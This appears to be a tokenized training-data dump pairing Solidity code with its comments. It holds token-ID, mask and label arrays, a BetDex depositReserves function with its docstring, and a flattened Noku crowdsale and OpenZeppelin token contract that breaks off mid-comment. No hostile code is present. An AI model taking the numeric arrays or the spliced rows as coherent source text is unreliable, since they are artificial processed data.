[ 1, 21, 18, 23, 18, 225, 166, 113, 233, 2316, 165, 124, 120, 167, 259, 125, 169, 126, 110, 166, 239, 249, 165, 121, 123, 165, 124, 103, 407, 7510, 165, 121, 123, 166, 240, 248, 165, 126, 240, 169, 111, 99, 168, 111, 250, 168, 253, 231, 165, 124, 120, 167, 259, 125, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 20865, 5147, 273, 584, 7510, 6275, 380, 389, 588, 2171, 12, 2316, 1887, 13, 342, 1147, 6275, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/80001/0xB2006DE9B3A87F4cDD11F57802C67911431843a8/sources/project_/contracts/BetDex.sol
@notice Deposit reserves into the room. Only available to room owners. @param _amount Amount to deposit into the room. @notice Must approve enough amount for ERC20 transfer before calling this function.
function depositReserves( bytes32 roomId, address contractAddress, uint256 _amount ) external nonReentrant onlyOwners(roomId) { Room memory room = rooms[roomId]; require(room.contractAddress == contractAddress, "TOKEN_NOT_EXISTS"); Token.deposit(contractAddress, msg.sender, _amount); room.reverse += _amount; rooms[roomId] = room; emit ReservesDeposited(roomId, msg.sender, contractAddress, _amount); }
859,683
[ 1, 758, 1724, 400, 264, 3324, 1368, 326, 7725, 18, 5098, 2319, 358, 7725, 25937, 18, 225, 389, 8949, 16811, 358, 443, 1724, 1368, 326, 7725, 18, 225, 6753, 6617, 537, 7304, 3844, 364, 4232, 39, 3462, 7412, 1865, 4440, 333, 445, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 443, 1724, 607, 264, 3324, 12, 203, 3639, 1731, 1578, 7725, 548, 16, 203, 3639, 1758, 6835, 1887, 16, 203, 3639, 2254, 5034, 389, 8949, 203, 565, 262, 3903, 1661, 426, 8230, 970, 1338, 5460, 414, 12, 13924, 548, 13, 288, 203, 3639, 27535, 3778, 7725, 273, 26450, 63, 13924, 548, 15533, 203, 3639, 2583, 12, 13924, 18, 16351, 1887, 422, 6835, 1887, 16, 315, 8412, 67, 4400, 67, 21205, 8863, 203, 3639, 3155, 18, 323, 1724, 12, 16351, 1887, 16, 1234, 18, 15330, 16, 389, 8949, 1769, 203, 3639, 7725, 18, 9845, 1011, 389, 8949, 31, 203, 3639, 26450, 63, 13924, 548, 65, 273, 7725, 31, 203, 3639, 3626, 1124, 264, 3324, 758, 1724, 329, 12, 13924, 548, 16, 1234, 18, 15330, 16, 6835, 1887, 16, 389, 8949, 1769, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.23; // File: contracts/TokenSale.sol contract TokenSale { /** * Buy tokens for the beneficiary using paid Ether. * @param beneficiary the beneficiary address that will receive the tokens. */ function buyTokens(address beneficiary) public payable; } // File: contracts/WhitelistableConstraints.sol /** * @title WhitelistableConstraints * @dev Contract encapsulating the constraints applicable to a Whitelistable contract. */ contract WhitelistableConstraints { /** * @dev Check if whitelist with specified parameters is allowed. * @param _maxWhitelistLength The maximum length of whitelist. Zero means no whitelist. * @param _weiWhitelistThresholdBalance The threshold balance triggering whitelist check. * @return true if whitelist with specified parameters is allowed, false otherwise */ function isAllowedWhitelist(uint256 _maxWhitelistLength, uint256 _weiWhitelistThresholdBalance) public pure returns(bool isReallyAllowedWhitelist) { return _maxWhitelistLength > 0 || _weiWhitelistThresholdBalance > 0; } } // File: contracts/Whitelistable.sol /** * @title Whitelistable * @dev Base contract implementing a whitelist to keep track of investors. * The construction parameters allow for both whitelisted and non-whitelisted contracts: * 1) maxWhitelistLength = 0 and whitelistThresholdBalance > 0: whitelist disabled * 2) maxWhitelistLength > 0 and whitelistThresholdBalance = 0: whitelist enabled, full whitelisting * 3) maxWhitelistLength > 0 and whitelistThresholdBalance > 0: whitelist enabled, partial whitelisting */ contract Whitelistable is WhitelistableConstraints { event LogMaxWhitelistLengthChanged(address indexed caller, uint256 indexed maxWhitelistLength); event LogWhitelistThresholdBalanceChanged(address indexed caller, uint256 indexed whitelistThresholdBalance); event LogWhitelistAddressAdded(address indexed caller, address indexed subscriber); event LogWhitelistAddressRemoved(address indexed caller, address indexed subscriber); mapping (address => bool) public whitelist; uint256 public whitelistLength; uint256 public maxWhitelistLength; uint256 public whitelistThresholdBalance; constructor(uint256 _maxWhitelistLength, uint256 _whitelistThresholdBalance) internal { require(isAllowedWhitelist(_maxWhitelistLength, _whitelistThresholdBalance), "parameters not allowed"); maxWhitelistLength = _maxWhitelistLength; whitelistThresholdBalance = _whitelistThresholdBalance; } /** * @return true if whitelist is currently enabled, false otherwise */ function isWhitelistEnabled() public view returns(bool isReallyWhitelistEnabled) { return maxWhitelistLength > 0; } /** * @return true if subscriber is whitelisted, false otherwise */ function isWhitelisted(address _subscriber) public view returns(bool isReallyWhitelisted) { return whitelist[_subscriber]; } function setMaxWhitelistLengthInternal(uint256 _maxWhitelistLength) internal { require(isAllowedWhitelist(_maxWhitelistLength, whitelistThresholdBalance), "_maxWhitelistLength not allowed"); require(_maxWhitelistLength != maxWhitelistLength, "_maxWhitelistLength equal to current one"); maxWhitelistLength = _maxWhitelistLength; emit LogMaxWhitelistLengthChanged(msg.sender, maxWhitelistLength); } function setWhitelistThresholdBalanceInternal(uint256 _whitelistThresholdBalance) internal { require(isAllowedWhitelist(maxWhitelistLength, _whitelistThresholdBalance), "_whitelistThresholdBalance not allowed"); require(whitelistLength == 0 || _whitelistThresholdBalance > whitelistThresholdBalance, "_whitelistThresholdBalance not greater than current one"); whitelistThresholdBalance = _whitelistThresholdBalance; emit LogWhitelistThresholdBalanceChanged(msg.sender, _whitelistThresholdBalance); } function addToWhitelistInternal(address _subscriber) internal { require(_subscriber != address(0), "_subscriber is zero"); require(!whitelist[_subscriber], "already whitelisted"); require(whitelistLength < maxWhitelistLength, "max whitelist length reached"); whitelistLength++; whitelist[_subscriber] = true; emit LogWhitelistAddressAdded(msg.sender, _subscriber); } function removeFromWhitelistInternal(address _subscriber, uint256 _balance) internal { require(_subscriber != address(0), "_subscriber is zero"); require(whitelist[_subscriber], "not whitelisted"); require(_balance <= whitelistThresholdBalance, "_balance greater than whitelist threshold"); assert(whitelistLength > 0); whitelistLength--; whitelist[_subscriber] = false; emit LogWhitelistAddressRemoved(msg.sender, _subscriber); } /** * @param _subscriber The subscriber for which the balance check is required. * @param _balance The balance value to check for allowance. * @return true if the balance is allowed for the subscriber, false otherwise */ function isAllowedBalance(address _subscriber, uint256 _balance) public view returns(bool isReallyAllowed) { return !isWhitelistEnabled() || _balance <= whitelistThresholdBalance || whitelist[_subscriber]; } } // File: openzeppelin-solidity/contracts/AddressUtils.sol /** * Utility library of inline functions on addresses */ library AddressUtils { /** * Returns whether the target address is a contract * @dev This function will return false if invoked during the constructor of a contract, * as the code is not actually created until after the constructor finishes. * @param addr address to check * @return whether the target address is a contract */ function isContract(address addr) internal view returns (bool) { uint256 size; // XXX Currently there is no better way to check if there is a contract in an address // than to check the size of the code at that address. // See https://ethereum.stackexchange.com/a/14016/36603 // for more details about how this works. // TODO Check this again before the Serenity release, because all addresses will be // contracts then. // solium-disable-next-line security/no-inline-assembly assembly { size := extcodesize(addr) } return size > 0; } } // File: openzeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function transferOwnership(address _newOwner) public onlyOwner { _transferOwnership(_newOwner); } /** * @dev Transfers control of the contract to a newOwner. * @param _newOwner The address to transfer ownership to. */ function _transferOwnership(address _newOwner) internal { require(_newOwner != address(0)); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { // Gas optimization: this is cheaper than asserting 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 // uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return a / b; } /** * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256 c) { c = a + b; assert(c >= a); return c; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } // File: openzeppelin-solidity/contracts/token/ERC20/BasicToken.sol /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256) { return balances[_owner]; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval( address indexed owner, address indexed spender, uint256 value ); } // File: openzeppelin-solidity/contracts/token/ERC20/StandardToken.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom( address _from, address _to, uint256 _value ) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance( address _owner, address _spender ) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval( address _spender, uint _addedValue ) public returns (bool) { allowed[msg.sender][_spender] = ( allowed[msg.sender][_spender].add(_addedValue)); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval( address _spender, uint _subtractedValue ) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/MintableToken.sol /** * @title Mintable token * @dev Simple ERC20 Token example, with mintable token creation * @dev Issue: * https://github.com/OpenZeppelin/openzeppelin-solidity/issues/120 * Based on code by TokenMarketNet: https://github.com/TokenMarketNet/ico/blob/master/contracts/MintableToken.sol */ contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint( address _to, uint256 _amount ) hasMintPermission canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) { mintingFinished = true; emit MintFinished(); return true; } } // File: contracts/Crowdsale.sol /** * @title Crowdsale * @dev Crowdsale is a base contract for managing a token crowdsale. * Crowdsales have a start and end block, where investors can make * token purchases and the crowdsale will assign them tokens based * on a token per ETH rate. Funds collected are forwarded to a wallet * as they arrive. */ contract Crowdsale is TokenSale, Pausable, Whitelistable { using AddressUtils for address; using SafeMath for uint256; event LogStartBlockChanged(uint256 indexed startBlock); event LogEndBlockChanged(uint256 indexed endBlock); event LogMinDepositChanged(uint256 indexed minDeposit); event LogTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 indexed amount, uint256 tokenAmount); // The token being sold MintableToken public token; // The start and end block where investments are allowed (both inclusive) uint256 public startBlock; uint256 public endBlock; // How many token units a buyer gets per wei uint256 public rate; // Amount of raised money in wei uint256 public raisedFunds; // Amount of tokens already sold uint256 public soldTokens; // Balances in wei deposited by each subscriber mapping (address => uint256) public balanceOf; // The minimum balance for each subscriber in wei uint256 public minDeposit; modifier beforeStart() { require(block.number < startBlock, "already started"); _; } modifier beforeEnd() { require(block.number <= endBlock, "already ended"); _; } constructor( uint256 _startBlock, uint256 _endBlock, uint256 _rate, uint256 _minDeposit, uint256 maxWhitelistLength, uint256 whitelistThreshold ) Whitelistable(maxWhitelistLength, whitelistThreshold) internal { require(_startBlock >= block.number, "_startBlock is lower than current block.number"); require(_endBlock >= _startBlock, "_endBlock is lower than _startBlock"); require(_rate > 0, "_rate is zero"); require(_minDeposit > 0, "_minDeposit is zero"); startBlock = _startBlock; endBlock = _endBlock; rate = _rate; minDeposit = _minDeposit; } /* * @return true if crowdsale event has started */ function hasStarted() public view returns (bool started) { return block.number >= startBlock; } /* * @return true if crowdsale event has ended */ function hasEnded() public view returns (bool ended) { return block.number > endBlock; } /** * Change the crowdsale start block number. * @param _startBlock The new start block */ function setStartBlock(uint256 _startBlock) external onlyOwner beforeStart { require(_startBlock >= block.number, "_startBlock < current block"); require(_startBlock <= endBlock, "_startBlock > endBlock"); require(_startBlock != startBlock, "_startBlock == startBlock"); startBlock = _startBlock; emit LogStartBlockChanged(_startBlock); } /** * Change the crowdsale end block number. * @param _endBlock The new end block */ function setEndBlock(uint256 _endBlock) external onlyOwner beforeEnd { require(_endBlock >= block.number, "_endBlock < current block"); require(_endBlock >= startBlock, "_endBlock < startBlock"); require(_endBlock != endBlock, "_endBlock == endBlock"); endBlock = _endBlock; emit LogEndBlockChanged(_endBlock); } /** * Change the minimum deposit for each subscriber. New value shall be lower than previous. * @param _minDeposit The minimum deposit for each subscriber, expressed in wei */ function setMinDeposit(uint256 _minDeposit) external onlyOwner beforeEnd { require(0 < _minDeposit && _minDeposit < minDeposit, "_minDeposit is not in [0, minDeposit]"); minDeposit = _minDeposit; emit LogMinDepositChanged(minDeposit); } /** * Change the maximum whitelist length. New value shall satisfy the #isAllowedWhitelist conditions. * @param maxWhitelistLength The maximum whitelist length */ function setMaxWhitelistLength(uint256 maxWhitelistLength) external onlyOwner beforeEnd { setMaxWhitelistLengthInternal(maxWhitelistLength); } /** * Change the whitelist threshold balance. New value shall satisfy the #isAllowedWhitelist conditions. * @param whitelistThreshold The threshold balance (in wei) above which whitelisting is required to invest */ function setWhitelistThresholdBalance(uint256 whitelistThreshold) external onlyOwner beforeEnd { setWhitelistThresholdBalanceInternal(whitelistThreshold); } /** * Add the subscriber to the whitelist. * @param subscriber The subscriber to add to the whitelist. */ function addToWhitelist(address subscriber) external onlyOwner beforeEnd { addToWhitelistInternal(subscriber); } /** * Removed the subscriber from the whitelist. * @param subscriber The subscriber to remove from the whitelist. */ function removeFromWhitelist(address subscriber) external onlyOwner beforeEnd { removeFromWhitelistInternal(subscriber, balanceOf[subscriber]); } // fallback function can be used to buy tokens function () external payable whenNotPaused { buyTokens(msg.sender); } // low level token purchase function function buyTokens(address beneficiary) public payable whenNotPaused { require(beneficiary != address(0), "beneficiary is zero"); require(isValidPurchase(beneficiary), "invalid purchase by beneficiary"); balanceOf[beneficiary] = balanceOf[beneficiary].add(msg.value); raisedFunds = raisedFunds.add(msg.value); uint256 tokenAmount = calculateTokens(msg.value); soldTokens = soldTokens.add(tokenAmount); distributeTokens(beneficiary, tokenAmount); emit LogTokenPurchase(msg.sender, beneficiary, msg.value, tokenAmount); forwardFunds(msg.value); } /** * @dev Overrides Whitelistable#isAllowedBalance to add minimum deposit logic. */ function isAllowedBalance(address beneficiary, uint256 balance) public view returns (bool isReallyAllowed) { bool hasMinimumBalance = balance >= minDeposit; return hasMinimumBalance && super.isAllowedBalance(beneficiary, balance); } /** * @dev Determine if the token purchase is valid or not. * @return true if the transaction can buy tokens */ function isValidPurchase(address beneficiary) internal view returns (bool isValid) { bool withinPeriod = startBlock <= block.number && block.number <= endBlock; bool nonZeroPurchase = msg.value != 0; bool isValidBalance = isAllowedBalance(beneficiary, balanceOf[beneficiary].add(msg.value)); return withinPeriod && nonZeroPurchase && isValidBalance; } // Calculate the token amount given the invested ether amount. // Override to create custom fund forwarding mechanisms function calculateTokens(uint256 amount) internal view returns (uint256 tokenAmount) { return amount.mul(rate); } /** * @dev Distribute the token amount to the beneficiary. * @notice Override to create custom distribution mechanisms */ function distributeTokens(address beneficiary, uint256 tokenAmount) internal { token.mint(beneficiary, tokenAmount); } // Send ether amount to the fund collection wallet. // override to create custom fund forwarding mechanisms function forwardFunds(uint256 amount) internal; } // File: contracts/NokuPricingPlan.sol /** * @dev The NokuPricingPlan contract defines the responsibilities of a Noku pricing plan. */ contract NokuPricingPlan { /** * @dev Pay the fee for the service identified by the specified name. * The fee amount shall already be approved by the client. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @param client The client of the target service. * @return true if fee has been paid. */ function payFee(bytes32 serviceName, uint256 multiplier, address client) public returns(bool paid); /** * @dev Get the usage fee for the service identified by the specified name. * The returned fee amount shall be approved before using #payFee method. * @param serviceName The name of the target service. * @param multiplier The multiplier of the base service fee to apply. * @return The amount to approve before really paying such fee. */ function usageFee(bytes32 serviceName, uint256 multiplier) public view returns(uint fee); } // File: contracts/NokuCustomToken.sol contract NokuCustomToken is Ownable { event LogBurnFinished(); event LogPricingPlanChanged(address indexed caller, address indexed pricingPlan); // The pricing plan determining the fee to be paid in NOKU tokens by customers for using Noku services NokuPricingPlan public pricingPlan; // The entity acting as Custom Token service provider i.e. Noku address public serviceProvider; // Flag indicating if Custom Token burning has been permanently finished or not. bool public burningFinished; /** * @dev Modifier to make a function callable only by service provider i.e. Noku. */ modifier onlyServiceProvider() { require(msg.sender == serviceProvider, "caller is not service provider"); _; } modifier canBurn() { require(!burningFinished, "burning finished"); _; } constructor(address _pricingPlan, address _serviceProvider) internal { require(_pricingPlan != 0, "_pricingPlan is zero"); require(_serviceProvider != 0, "_serviceProvider is zero"); pricingPlan = NokuPricingPlan(_pricingPlan); serviceProvider = _serviceProvider; } /** * @dev Presence of this function indicates the contract is a Custom Token. */ function isCustomToken() public pure returns(bool isCustom) { return true; } /** * @dev Stop burning new tokens. * @return true if the operation was successful. */ function finishBurning() public onlyOwner canBurn returns(bool finished) { burningFinished = true; emit LogBurnFinished(); return true; } /** * @dev Change the pricing plan of service fee to be paid in NOKU tokens. * @param _pricingPlan The pricing plan of NOKU token to be paid, zero means flat subscription. */ function setPricingPlan(address _pricingPlan) public onlyServiceProvider { require(_pricingPlan != 0, "_pricingPlan is 0"); require(_pricingPlan != address(pricingPlan), "_pricingPlan == pricingPlan"); pricingPlan = NokuPricingPlan(_pricingPlan); emit LogPricingPlanChanged(msg.sender, _pricingPlan); } } // File: contracts/NokuTokenBurner.sol contract BurnableERC20 is ERC20 { function burn(uint256 amount) public returns (bool burned); } /** * @dev The NokuTokenBurner contract has the responsibility to burn the configured fraction of received * ERC20-compliant tokens and distribute the remainder to the configured wallet. */ contract NokuTokenBurner is Pausable { using SafeMath for uint256; event LogNokuTokenBurnerCreated(address indexed caller, address indexed wallet); event LogBurningPercentageChanged(address indexed caller, uint256 indexed burningPercentage); // The wallet receiving the unburnt tokens. address public wallet; // The percentage of tokens to burn after being received (range [0, 100]) uint256 public burningPercentage; // The cumulative amount of burnt tokens. uint256 public burnedTokens; // The cumulative amount of tokens transferred back to the wallet. uint256 public transferredTokens; /** * @dev Create a new NokuTokenBurner with predefined burning fraction. * @param _wallet The wallet receiving the unburnt tokens. */ constructor(address _wallet) public { require(_wallet != address(0), "_wallet is zero"); wallet = _wallet; burningPercentage = 100; emit LogNokuTokenBurnerCreated(msg.sender, _wallet); } /** * @dev Change the percentage of tokens to burn after being received. * @param _burningPercentage The percentage of tokens to be burnt. */ function setBurningPercentage(uint256 _burningPercentage) public onlyOwner { require(0 <= _burningPercentage && _burningPercentage <= 100, "_burningPercentage not in [0, 100]"); require(_burningPercentage != burningPercentage, "_burningPercentage equal to current one"); burningPercentage = _burningPercentage; emit LogBurningPercentageChanged(msg.sender, _burningPercentage); } /** * @dev Called after burnable tokens has been transferred for burning. * @param _token THe extended ERC20 interface supported by the sent tokens. * @param _amount The amount of burnable tokens just arrived ready for burning. */ function tokenReceived(address _token, uint256 _amount) public whenNotPaused { require(_token != address(0), "_token is zero"); require(_amount > 0, "_amount is zero"); uint256 amountToBurn = _amount.mul(burningPercentage).div(100); if (amountToBurn > 0) { assert(BurnableERC20(_token).burn(amountToBurn)); burnedTokens = burnedTokens.add(amountToBurn); } uint256 amountToTransfer = _amount.sub(amountToBurn); if (amountToTransfer > 0) { assert(BurnableERC20(_token).transfer(wallet, amountToTransfer)); transferredTokens = transferredTokens.add(amountToTransfer); } } } // File: openzeppelin-solidity/contracts/token/ERC20/BurnableToken.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract BurnableToken is BasicToken { event Burn(address indexed burner, uint256 value); /** * @dev Burns a specific 